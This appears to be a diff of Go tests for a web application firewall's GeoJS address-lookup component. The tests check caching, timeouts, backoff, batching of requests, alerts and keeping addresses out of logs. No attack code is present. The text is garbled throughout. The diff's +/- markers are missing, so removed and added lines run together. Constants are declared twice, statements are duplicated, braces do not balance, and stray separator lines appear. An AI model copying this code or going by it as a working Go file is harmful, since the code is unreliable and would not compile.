"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
||||
)
|
||||
|
||||
const (
|
||||
// germany is where the stand-in for GeoJS places every address but
|
||||
// unplaced, and asNumber, kept as asn, and asName the AS it gives them.
|
||||
germany = "DE"
|
||||
asNumber = 64496
|
||||
asn = "AS64496"
|
||||
asName = "Example Net"
|
||||
// unplaced is the address it cannot place, for which it gives the AS
|
||||
// number 64512 and the AS name Unknown, as GeoJS does.
|
||||
// unplaced.
|
||||
germany = "DE"
|
||||
// unplaced is the address it cannot place.
|
||||
unplaced = "192.0.2.1"
|
||||
// leftOut is the address it leaves out of its answer when
|
||||
// answeringWithoutLeftOut.
|
||||
leftOut = "203.0.113.7"
|
||||
// timeout is how long a new client waits for its answer.
|
||||
timeout = time.Second
|
||||
// waitLimit bounds how long a test waits for what should happen.
|
||||
waitLimit = 10 * time.Second
|
||||
// pollInterval is how often a test looks again.
|
||||
pollInterval = 10 * time.Millisecond
|
||||
// week is how long an answer is kept.
|
||||
week = 7 * 24 * time.Hour
|
||||
)
|
||||
|
||||
// The tests that have GeoJS asked run in a synctest bubble, where the time
|
||||
// package runs on a clock of the test's own: a wait lasts exactly as long
|
||||
// as it should, however slowly the test process runs, and synctest.Wait
|
||||
// returns once g has done all it can before time passes. The stand-in for
|
||||
// GeoJS answers without the network, since a request waiting on the
|
||||
// network would keep that clock from moving on.
|
||||
|
||||
func TestKeptAnswerIsUsedFor7DaysThenAskedAgain(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
geojs, clock, g := start()
|
||||
placed := netip.MustParsePrefix("203.0.113.9/32")
|
||||
notPlaced := netip.MustParsePrefix(unplaced + "/32")
|
||||
geojs, clock, g := start(t)
|
||||
placed := netip.MustParsePrefix("203.0.113.9/32")
|
||||
notPlaced := netip.MustParsePrefix(unplaced + "/32")
|
||||
|
||||
wantCountry(t, g, placed, germany)
|
||||
wantCountry(t, g, notPlaced, "")
|
||||
wantRequests(t, geojs, 2)
|
||||
wantCountry(t, g, placed, germany)
|
||||
wantCountry(t, g, notPlaced, "")
|
||||
wantRequests(t, geojs, 2)
|
||||
|
||||
// An answer without a country is kept too.
|
||||
clock.advance(week - time.Second)
|
||||
wantCountry(t, g, placed, germany)
|
||||
wantCountry(t, g, notPlaced, "")
|
||||
wantRequests(t, geojs, 2)
|
||||
// An answer without a country is kept too.
|
||||
clock.advance(week - time.Second)
|
||||
wantCountry(t, g, placed, germany)
|
||||
wantCountry(t, g, notPlaced, "")
|
||||
wantRequests(t, geojs, 2)
|
||||
|
||||
clock.advance(time.Second)
|
||||
wantCountry(t, g, placed, germany)
|
||||
wantRequests(t, geojs, 3)
|
||||
wantAsked(t, geojs, 2, "203.0.113.9")
|
||||
})
|
||||
}
|
||||
|
||||
func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
geojs, clock, g := start()
|
||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
// Wait is set, and GeoJS does not answer.
|
||||
geojs.set(hanging)
|
||||
|
||||
began := time.Now()
|
||||
answer := g.LookUpWithoutWaiting(t.Context(), client)
|
||||
|
||||
if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
|
||||
t.Errorf("got %+v after %s, want no answer at once", answer, waited)
|
||||
}
|
||||
|
||||
waitForRequests(t, geojs, 1)
|
||||
wantAsked(t, geojs, 0, "203.0.113.9")
|
||||
|
||||
// That request is abandoned, and has failed once this returns. GeoJS
|
||||
// answers when it is asked again, and the answer is kept.
|
||||
time.Sleep(timeout)
|
||||
synctest.Wait()
|
||||
geojs.set(answering)
|
||||
waitForCountry(t, g, clock, client, germany)
|
||||
|
||||
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
|
||||
t.Errorf("the kept answer gives the country %q, want %q", got, germany)
|
||||
}
|
||||
})
|
||||
clock.advance(time.Second)
|
||||
wantCountry(t, g, placed, germany)
|
||||
wantRequests(t, geojs, 3)
|
||||
wantAsked(t, geojs, 2, "203.0.113.9")
|
||||
}
|
||||
|
||||
func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
geojs, clock, g := start()
|
||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||
geojs, clock, g := start(t)
|
||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
// The client comes while GeoJS is asked about an earlier client, which
|
||||
// it answers most of a second later. It is then asked about the client
|
||||
// and does not answer: that request is abandoned a second after it
|
||||
// began, well after the client's wait is over.
|
||||
geojs.set(answeringSlowly)
|
||||
// The client comes while GeoJS is asked about an earlier client, which
|
||||
// it answers most of a second later. It is then asked about the client
|
||||
// and does not answer: that request is abandoned a second after it
|
||||
// began, well after the client's wait is over.
|
||||
geojs.set(answeringSlowly)
|
||||
|
||||
var earlier sync.WaitGroup
|
||||
var earlier sync.WaitGroup
|
||||
|
||||
earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
|
||||
defer earlier.Wait()
|
||||
earlier.Go(func() { g.Country(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
|
||||
defer earlier.Wait()
|
||||
|
||||
waitForRequests(t, geojs, 1)
|
||||
geojs.set(hanging)
|
||||
waitForRequests(t, geojs, 1)
|
||||
geojs.set(hanging)
|
||||
|
||||
began := time.Now()
|
||||
began := time.Now()
|
||||
|
||||
wantCountry(t, g, client, "")
|
||||
wantCountry(t, g, client, "")
|
||||
|
||||
took := time.Since(began)
|
||||
if took != timeout {
|
||||
t.Errorf("waited %s for the answer, want %s", took, timeout)
|
||||
}
|
||||
took := time.Since(began)
|
||||
if took < timeout || took > timeout+timeout/2 {
|
||||
t.Errorf("waited %s for the answer, want %s", took, timeout)
|
||||
}
|
||||
|
||||
// Its next request does not wait.
|
||||
began = time.Now()
|
||||
// Its next request does not wait.
|
||||
began = time.Now()
|
||||
|
||||
wantCountry(t, g, client, "")
|
||||
wantCountry(t, g, client, "")
|
||||
|
||||
took = time.Since(began)
|
||||
if took != 0 {
|
||||
t.Errorf("waited %s again, want no wait", took)
|
||||
}
|
||||
took = time.Since(began)
|
||||
if took > timeout/2 {
|
||||
t.Errorf("waited %s again, want no wait", took)
|
||||
}
|
||||
|
||||
// Once GeoJS answers, the client is asked about again in the
|
||||
// background, and has its country.
|
||||
geojs.set(answering)
|
||||
waitForCountry(t, g, clock, client, germany)
|
||||
})
|
||||
}
|
||||
|
||||
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
// A timeout longer than the default, and a GeoJS that does not
|
||||
// answer.
|
||||
const longerTimeout = 3 * time.Second
|
||||
|
||||
m := metrics.New(1, "app")
|
||||
g := lookup.New(lookup.Params{
|
||||
URL: lookup.URL,
|
||||
Timeout: longerTimeout,
|
||||
Wait: true,
|
||||
Now: time.Now,
|
||||
ProcessLog: slog.New(slog.DiscardHandler),
|
||||
Metrics: m,
|
||||
Alerts: alerts.New(alerts.Params{}),
|
||||
})
|
||||
g.SetTransport(&standIn{answers: hanging})
|
||||
|
||||
var (
|
||||
request sync.WaitGroup
|
||||
waited time.Duration
|
||||
)
|
||||
|
||||
request.Go(func() {
|
||||
began := time.Now()
|
||||
|
||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "")
|
||||
|
||||
waited = time.Since(began)
|
||||
})
|
||||
|
||||
// A moment before the timeout runs out, GeoJS is still being asked:
|
||||
// the request to it has not failed.
|
||||
time.Sleep(longerTimeout - time.Millisecond)
|
||||
synctest.Wait()
|
||||
wantFailures(t, m, 0)
|
||||
|
||||
// As it runs out, the client's request goes on, and the request to
|
||||
// GeoJS is abandoned, which counts as a failure.
|
||||
request.Wait()
|
||||
synctest.Wait()
|
||||
|
||||
if waited != longerTimeout {
|
||||
t.Errorf("waited %s for the answer, want %s", waited, longerTimeout)
|
||||
}
|
||||
|
||||
wantFailures(t, m, 1)
|
||||
})
|
||||
// Once GeoJS answers, the client is asked about again in the
|
||||
// background, and has its country.
|
||||
geojs.set(answering)
|
||||
waitForCountry(t, g, clock, client, germany)
|
||||
}
|
||||
|
||||
func TestAddressLeftOutOfAnAnswerIsAskedAboutAgain(t *testing.T) {
|
||||
@@ -220,35 +118,33 @@ func TestAddressLeftOutOfAnAnswerIsAskedAboutAgain(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
geojs, clock, g := start()
|
||||
other := netip.MustParsePrefix("203.0.113.1/32")
|
||||
client := netip.MustParsePrefix(leftOut + "/32")
|
||||
geojs, clock, g := start(t)
|
||||
other := netip.MustParsePrefix("203.0.113.1/32")
|
||||
client := netip.MustParsePrefix(leftOut + "/32")
|
||||
|
||||
// GeoJS fails, and is left alone for a second while the client
|
||||
// comes too, so that the next request asks about both.
|
||||
geojs.set(failing)
|
||||
wantCountry(t, g, other, "")
|
||||
wantCountry(t, g, client, "")
|
||||
// GeoJS fails, and is left alone for a second while the client
|
||||
// comes too, so that the next request asks about both.
|
||||
geojs.set(failing)
|
||||
wantCountry(t, g, other, "")
|
||||
wantCountry(t, g, client, "")
|
||||
|
||||
geojs.set(tc.answers)
|
||||
clock.advance(time.Second)
|
||||
wantCountry(t, g, other, "")
|
||||
waitForRequests(t, geojs, 2)
|
||||
geojs.set(tc.answers)
|
||||
clock.advance(time.Second)
|
||||
wantCountry(t, g, other, "")
|
||||
waitForRequests(t, geojs, 2)
|
||||
|
||||
// The answer counts as a failure, and the client is asked about
|
||||
// again, with the other client only if the answer left it out too.
|
||||
geojs.set(answering)
|
||||
waitForCountry(t, g, clock, client, germany)
|
||||
wantCountry(t, g, other, germany)
|
||||
wantRequests(t, geojs, 3)
|
||||
// The answer counts as a failure, and the client is asked about
|
||||
// again, with the other client only if the answer left it out too.
|
||||
geojs.set(answering)
|
||||
waitForCountry(t, g, clock, client, germany)
|
||||
wantCountry(t, g, other, germany)
|
||||
wantRequests(t, geojs, 3)
|
||||
|
||||
if tc.named {
|
||||
wantAsked(t, geojs, 2, leftOut)
|
||||
} else {
|
||||
wantAsked(t, geojs, 2, leftOut, "203.0.113.1")
|
||||
}
|
||||
})
|
||||
if tc.named {
|
||||
wantAsked(t, geojs, 2, leftOut)
|
||||
} else {
|
||||
wantAsked(t, geojs, 2, leftOut, "203.0.113.1")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -256,360 +152,173 @@ func TestAddressLeftOutOfAnAnswerIsAskedAboutAgain(t *testing.T) {
|
||||
func TestRedirectCountsAsFailure(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
geojs, _, g := start()
|
||||
geojs.set(redirecting)
|
||||
geojs, _, g := start(t)
|
||||
geojs.set(redirecting)
|
||||
|
||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "")
|
||||
wantRequests(t, geojs, 1)
|
||||
})
|
||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "")
|
||||
wantRequests(t, geojs, 1)
|
||||
}
|
||||
|
||||
func TestCountryIsKeptInCapitals(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
geojs, _, g := start()
|
||||
geojs.set(answeringInLowerCase)
|
||||
geojs, _, g := start(t)
|
||||
geojs.set(answeringInLowerCase)
|
||||
|
||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), germany)
|
||||
})
|
||||
}
|
||||
|
||||
func TestAnswerHoldsTheASNumberTheASNameAndTheCountry(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
_, clock, g := start()
|
||||
placed := netip.MustParsePrefix("203.0.113.9/32")
|
||||
notPlaced := netip.MustParsePrefix(unplaced + "/32")
|
||||
now := clock.Now()
|
||||
|
||||
// For the client it cannot place, GeoJS gives the AS number 64512
|
||||
// and the AS name Unknown, which count as unknown.
|
||||
for client, want := range map[netip.Prefix]lookup.Answer{
|
||||
placed: {
|
||||
Client: placed, ASN: asn, ASName: asName, Country: germany,
|
||||
Answered: now, Used: now,
|
||||
},
|
||||
notPlaced: {Client: notPlaced, Answered: now, Used: now},
|
||||
} {
|
||||
got := g.LookUp(t.Context(), client)
|
||||
if got != want {
|
||||
t.Errorf("answer for %s\n%+v\nwant\n%+v", client, got, want)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
var (
|
||||
mu sync.Mutex
|
||||
given []lookup.Answer
|
||||
)
|
||||
|
||||
geojs := &standIn{answers: answeringSlowly}
|
||||
clock := newClock()
|
||||
m := metrics.New(1, "app")
|
||||
g := lookup.New(lookup.Params{
|
||||
URL: lookup.URL,
|
||||
Timeout: timeout,
|
||||
Answered: func(answer lookup.Answer) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
|
||||
given = append(given, answer)
|
||||
},
|
||||
Now: clock.Now,
|
||||
ProcessLog: slog.New(slog.DiscardHandler),
|
||||
Metrics: m,
|
||||
Alerts: alerts.New(alerts.Params{}),
|
||||
})
|
||||
g.SetTransport(geojs)
|
||||
|
||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
// The request goes on at once, without an answer, and GeoJS is asked
|
||||
// about the client, which it answers most of a second later.
|
||||
began := time.Now()
|
||||
|
||||
got := g.LookUp(t.Context(), client)
|
||||
if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
|
||||
t.Errorf("waited %s for %+v, want no wait and no answer", took, got)
|
||||
}
|
||||
|
||||
waitForRequests(t, geojs, 1)
|
||||
wantAsked(t, geojs, 0, "203.0.113.9")
|
||||
|
||||
time.Sleep(timeout)
|
||||
synctest.Wait()
|
||||
|
||||
now := clock.Now()
|
||||
want := lookup.Answer{
|
||||
Client: client, ASN: asn, ASName: asName, Country: germany,
|
||||
Answered: now, Used: now,
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
if !slices.Equal(given, []lookup.Answer{want}) {
|
||||
t.Errorf("answers given %+v, want only %+v", given, want)
|
||||
}
|
||||
mu.Unlock()
|
||||
|
||||
wantCountry(t, g, client, germany)
|
||||
wantRequestsWithoutGeoJSAnswer(t, m, 0)
|
||||
})
|
||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), germany)
|
||||
}
|
||||
|
||||
func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
var log strings.Builder
|
||||
var log strings.Builder
|
||||
|
||||
// GeoJS does not answer, so the request to it is abandoned, and fails.
|
||||
geojs := &standIn{answers: hanging}
|
||||
g := lookup.New(lookup.Params{
|
||||
URL: lookup.URL,
|
||||
Timeout: timeout,
|
||||
Wait: true,
|
||||
Now: time.Now,
|
||||
ProcessLog: slog.New(slog.NewTextHandler(&log, nil)),
|
||||
Metrics: metrics.New(1, "app"),
|
||||
Alerts: alerts.New(alerts.Params{}),
|
||||
})
|
||||
g.SetTransport(geojs)
|
||||
|
||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "")
|
||||
synctest.Wait()
|
||||
|
||||
logged := log.String()
|
||||
if !strings.Contains(logged, "asking GeoJS failed") ||
|
||||
strings.Contains(logged, "203.0.113.9") {
|
||||
t.Errorf("logged %q, want the failure without the address asked about", logged)
|
||||
}
|
||||
// Nothing listens on port 1, so asking GeoJS fails.
|
||||
g := lookup.New(lookup.Params{
|
||||
URL: "http://127.0.0.1:1",
|
||||
Now: time.Now,
|
||||
ProcessLog: slog.New(slog.NewTextHandler(&log, nil)),
|
||||
})
|
||||
}
|
||||
|
||||
func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
|
||||
t.Parallel()
|
||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "")
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
geojs, clock, g, queue := startWithAlerts()
|
||||
clients := newClients()
|
||||
|
||||
geojs.set(failing)
|
||||
|
||||
wantCountry(t, g, clients(), "")
|
||||
|
||||
want := alerts.Alert{
|
||||
Time: clock.Now(),
|
||||
Event: alerts.EventSourceFailure,
|
||||
Reason: "asking GeoJS failed",
|
||||
Detail: map[string]any{
|
||||
"source": "geojs",
|
||||
"error": "GeoJS answered 503 Service Unavailable",
|
||||
"asking_again_in": "1s",
|
||||
},
|
||||
}
|
||||
|
||||
// The next failure, a second later, is a repeat within the
|
||||
// cooldown.
|
||||
clock.advance(time.Second)
|
||||
wantCountry(t, g, clients(), "")
|
||||
wantRequests(t, geojs, 2)
|
||||
|
||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
if len(waiting) != 1 || !reflect.DeepEqual(waiting[0], want) {
|
||||
t.Errorf("alerts waiting %+v, want only %+v", waiting, want)
|
||||
}
|
||||
|
||||
if queue.Suppressed() != 1 {
|
||||
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
|
||||
}
|
||||
})
|
||||
logged := log.String()
|
||||
if !strings.Contains(logged, "asking GeoJS failed") ||
|
||||
strings.Contains(logged, "203.0.113.9") {
|
||||
t.Errorf("logged %q, want the failure without the address asked about", logged)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
geojs, clock, g := start()
|
||||
geojs, clock, g := start(t)
|
||||
|
||||
// GeoJS fails, and is then left alone for a second, while three more
|
||||
// clients come. An IPv6 client is a /64, and GeoJS is asked about its
|
||||
// first address.
|
||||
geojs.set(failing)
|
||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.1/32"), "")
|
||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.2/32"), "")
|
||||
wantCountry(t, g, netip.MustParsePrefix("2001:db8:1:2::/64"), "")
|
||||
wantRequests(t, geojs, 1)
|
||||
// GeoJS fails, and is then left alone for a second, while three more
|
||||
// clients come. An IPv6 client is a /64, and GeoJS is asked about its
|
||||
// first address.
|
||||
geojs.set(failing)
|
||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.1/32"), "")
|
||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.2/32"), "")
|
||||
wantCountry(t, g, netip.MustParsePrefix("2001:db8:1:2::/64"), "")
|
||||
wantRequests(t, geojs, 1)
|
||||
|
||||
geojs.set(answering)
|
||||
clock.advance(time.Second)
|
||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
|
||||
wantRequests(t, geojs, 2)
|
||||
wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
|
||||
})
|
||||
geojs.set(answering)
|
||||
clock.advance(time.Second)
|
||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
|
||||
wantRequests(t, geojs, 2)
|
||||
wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
|
||||
}
|
||||
|
||||
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
geojs, clock, g := start()
|
||||
clients := newClients()
|
||||
kept := clients()
|
||||
geojs, clock, g := start(t)
|
||||
clients := newClients()
|
||||
kept := clients()
|
||||
|
||||
wantCountry(t, g, kept, germany)
|
||||
|
||||
geojs.set(failing)
|
||||
wantCountry(t, g, kept, germany)
|
||||
wantRequests(t, geojs, 1)
|
||||
|
||||
// Each failure leaves GeoJS alone twice as long as the one before, up
|
||||
// to five minutes. New clients meanwhile count as not found, and the
|
||||
// client with a kept answer still gets its country, without GeoJS being
|
||||
// asked.
|
||||
requests := 1
|
||||
|
||||
for _, delay := range []time.Duration{
|
||||
time.Second, 2 * time.Second, 4 * time.Second, 8 * time.Second,
|
||||
16 * time.Second, 32 * time.Second, 64 * time.Second, 128 * time.Second,
|
||||
256 * time.Second, 5 * time.Minute, 5 * time.Minute,
|
||||
} {
|
||||
wantCountry(t, g, clients(), "")
|
||||
|
||||
requests++
|
||||
wantRequests(t, geojs, requests)
|
||||
|
||||
clock.advance(delay - time.Millisecond)
|
||||
wantCountry(t, g, clients(), "")
|
||||
wantCountry(t, g, kept, germany)
|
||||
wantRequests(t, geojs, requests)
|
||||
|
||||
geojs.set(failing)
|
||||
wantCountry(t, g, kept, germany)
|
||||
wantRequests(t, geojs, 1)
|
||||
clock.advance(time.Millisecond)
|
||||
}
|
||||
|
||||
// Each failure leaves GeoJS alone twice as long as the one before, up
|
||||
// to five minutes. New clients meanwhile count as not found, and the
|
||||
// client with a kept answer still gets its country, without GeoJS being
|
||||
// asked.
|
||||
requests := 1
|
||||
// Once GeoJS answers again, it is asked about every client waiting.
|
||||
geojs.set(answering)
|
||||
wantCountry(t, g, clients(), germany)
|
||||
wantRequests(t, geojs, requests+1)
|
||||
|
||||
for _, delay := range []time.Duration{
|
||||
time.Second, 2 * time.Second, 4 * time.Second, 8 * time.Second,
|
||||
16 * time.Second, 32 * time.Second, 64 * time.Second, 128 * time.Second,
|
||||
256 * time.Second, 5 * time.Minute, 5 * time.Minute,
|
||||
} {
|
||||
wantCountry(t, g, clients(), "")
|
||||
|
||||
requests++
|
||||
wantRequests(t, geojs, requests)
|
||||
|
||||
clock.advance(delay - time.Millisecond)
|
||||
wantCountry(t, g, clients(), "")
|
||||
wantCountry(t, g, kept, germany)
|
||||
wantRequests(t, geojs, requests)
|
||||
|
||||
clock.advance(time.Millisecond)
|
||||
}
|
||||
|
||||
// Once GeoJS answers again, it is asked about every client waiting.
|
||||
geojs.set(answering)
|
||||
wantCountry(t, g, clients(), germany)
|
||||
wantRequests(t, geojs, requests+1)
|
||||
|
||||
asked := waitForRequests(t, geojs, requests+1)
|
||||
if len(asked[requests]) != 23 {
|
||||
t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
|
||||
}
|
||||
})
|
||||
asked := waitForRequests(t, geojs, requests+1)
|
||||
if len(asked[requests]) != 23 {
|
||||
t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
|
||||
}
|
||||
}
|
||||
|
||||
func TestAtMost200AddressesInOneRequest(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
geojs, clock, g := start()
|
||||
clients := newClients()
|
||||
first := clients()
|
||||
geojs, clock, g := start(t)
|
||||
clients := newClients()
|
||||
first := clients()
|
||||
|
||||
// 201 clients wait while GeoJS is left alone after a failure.
|
||||
geojs.set(failing)
|
||||
wantCountry(t, g, first, "")
|
||||
// 201 clients wait while GeoJS is left alone after a failure.
|
||||
geojs.set(failing)
|
||||
wantCountry(t, g, first, "")
|
||||
|
||||
for range 200 {
|
||||
wantCountry(t, g, clients(), "")
|
||||
}
|
||||
for range 200 {
|
||||
wantCountry(t, g, clients(), "")
|
||||
}
|
||||
|
||||
// The first one's next request has GeoJS asked again.
|
||||
geojs.set(answering)
|
||||
clock.advance(time.Second)
|
||||
wantCountry(t, g, first, "")
|
||||
// The first one's next request has GeoJS asked again.
|
||||
geojs.set(answering)
|
||||
clock.advance(time.Second)
|
||||
wantCountry(t, g, first, "")
|
||||
|
||||
asked := waitForRequests(t, geojs, 3)
|
||||
if len(asked[1]) != 200 || len(asked[2]) != 1 {
|
||||
t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
|
||||
len(asked[1]), len(asked[2]))
|
||||
}
|
||||
})
|
||||
asked := waitForRequests(t, geojs, 3)
|
||||
if len(asked[1]) != 200 || len(asked[2]) != 1 {
|
||||
t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
|
||||
len(asked[1]), len(asked[2]))
|
||||
}
|
||||
}
|
||||
|
||||
func TestAtMost10000ClientsWait(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
geojs, clock, g := start()
|
||||
clients := newClients()
|
||||
first := clients()
|
||||
geojs, clock, g := start(t)
|
||||
clients := newClients()
|
||||
first := clients()
|
||||
|
||||
// 10,000 clients wait while GeoJS is left alone after a failure, and
|
||||
// one more cannot join them.
|
||||
geojs.set(failing)
|
||||
wantCountry(t, g, first, "")
|
||||
// 10,000 clients wait while GeoJS is left alone after a failure, and
|
||||
// one more cannot join them.
|
||||
geojs.set(failing)
|
||||
wantCountry(t, g, first, "")
|
||||
|
||||
for range 9999 {
|
||||
wantCountry(t, g, clients(), "")
|
||||
}
|
||||
|
||||
extra := clients()
|
||||
wantCountry(t, g, extra, "")
|
||||
|
||||
// The first one's next request has GeoJS asked about the 10,000, 200
|
||||
// at a time, and not about the one more.
|
||||
geojs.set(answering)
|
||||
clock.advance(time.Second)
|
||||
wantCountry(t, g, first, "")
|
||||
|
||||
asked := waitForRequests(t, geojs, 51)
|
||||
for i, request := range asked {
|
||||
if slices.Contains(request, extra.Addr().String()) {
|
||||
t.Errorf("request %d asked about %s", i, extra.Addr())
|
||||
}
|
||||
}
|
||||
|
||||
// With room among those waiting, it is asked about.
|
||||
wantCountry(t, g, extra, germany)
|
||||
})
|
||||
}
|
||||
|
||||
func TestClientsWithoutAnAnswerAreCounted(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
m := metrics.New(1, "app")
|
||||
g := lookup.New(lookup.Params{
|
||||
URL: lookup.URL,
|
||||
Timeout: timeout,
|
||||
Wait: true,
|
||||
Now: time.Now,
|
||||
ProcessLog: slog.New(slog.DiscardHandler),
|
||||
Metrics: m,
|
||||
Alerts: alerts.New(alerts.Params{}),
|
||||
})
|
||||
g.SetTransport(&standIn{answers: failing})
|
||||
|
||||
clients := newClients()
|
||||
|
||||
// GeoJS fails, so the first client goes without an answer, and GeoJS
|
||||
// is left alone for a second, which does not pass in this test.
|
||||
for range 9999 {
|
||||
wantCountry(t, g, clients(), "")
|
||||
wantRequestsWithoutGeoJSAnswer(t, m, 1)
|
||||
}
|
||||
|
||||
// Meanwhile each new client goes without one at once, while there is
|
||||
// room for it among the 10,000 that may wait.
|
||||
for range 9999 {
|
||||
wantCountry(t, g, clients(), "")
|
||||
extra := clients()
|
||||
wantCountry(t, g, extra, "")
|
||||
|
||||
// The first one's next request has GeoJS asked about the 10,000, 200
|
||||
// at a time, and not about the one more.
|
||||
geojs.set(answering)
|
||||
clock.advance(time.Second)
|
||||
wantCountry(t, g, first, "")
|
||||
|
||||
asked := waitForRequests(t, geojs, 51)
|
||||
for i, request := range asked {
|
||||
if slices.Contains(request, extra.Addr().String()) {
|
||||
t.Errorf("request %d asked about %s", i, extra.Addr())
|
||||
}
|
||||
}
|
||||
|
||||
wantRequestsWithoutGeoJSAnswer(t, m, 10000)
|
||||
|
||||
// One more, for which there is no room, goes without one too.
|
||||
wantCountry(t, g, clients(), "")
|
||||
wantRequestsWithoutGeoJSAnswer(t, m, 10001)
|
||||
})
|
||||
// With room among those waiting, it is asked about.
|
||||
wantCountry(t, g, extra, germany)
|
||||
}
|
||||
|
||||
// How the stand-in for GeoJS answers.
|
||||
@@ -628,25 +337,13 @@ const (
|
||||
// standIn is a stand-in for GeoJS. It notes the addresses each request
|
||||
// asks about.
|
||||
type standIn struct {
|
||||
server *httptest.Server
|
||||
|
||||
mu sync.Mutex
|
||||
answers int
|
||||
requests [][]string
|
||||
}
|
||||
|
||||
// RoundTrip has the stand-in answer req, in place of the network. A request
|
||||
// abandoned before the stand-in answers fails, as over the network.
|
||||
func (s *standIn) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
answer := httptest.NewRecorder()
|
||||
s.ServeHTTP(answer, req)
|
||||
|
||||
err := req.Context().Err()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return answer.Result(), nil
|
||||
}
|
||||
|
||||
// ServeHTTP answers a request about the addresses in its ip parameter.
|
||||
func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
addrs := strings.Split(r.URL.Query().Get("ip"), ",")
|
||||
@@ -677,24 +374,21 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
|
||||
list := make([]map[string]any, 0, len(addrs))
|
||||
list := make([]map[string]string, 0, len(addrs))
|
||||
|
||||
for _, addr := range addrs {
|
||||
item := map[string]any{
|
||||
"ip": addr, "asn": asNumber, "organization_name": asName,
|
||||
"country_code": germany,
|
||||
}
|
||||
country := germany
|
||||
|
||||
switch {
|
||||
case addr == unplaced:
|
||||
item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"}
|
||||
country = ""
|
||||
case addr == leftOut && answers == answeringWithoutLeftOut:
|
||||
continue
|
||||
case answers == answeringInLowerCase:
|
||||
item["country_code"] = strings.ToLower(germany)
|
||||
country = strings.ToLower(germany)
|
||||
